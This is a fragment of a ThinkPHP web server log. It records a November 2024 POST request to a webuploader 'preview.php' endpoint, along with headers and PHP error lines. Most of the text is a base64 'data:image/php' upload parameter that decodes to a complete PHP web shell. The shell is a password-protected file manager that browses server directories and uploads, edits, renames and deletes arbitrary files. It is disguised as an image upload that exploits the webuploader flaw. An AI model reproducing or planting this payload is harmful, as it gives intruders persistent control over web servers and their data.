'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'libs' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:32:48+08:00 ] 116.213.36.234 POST www.51tianwei.com/Public/Plugin/h-ui/lib/webuploader/0.1.5/server/server/preview.php [运行时间:0.002513s] [吞吐率:397.94req/s] [内存消耗:196.91kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'Plugin', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 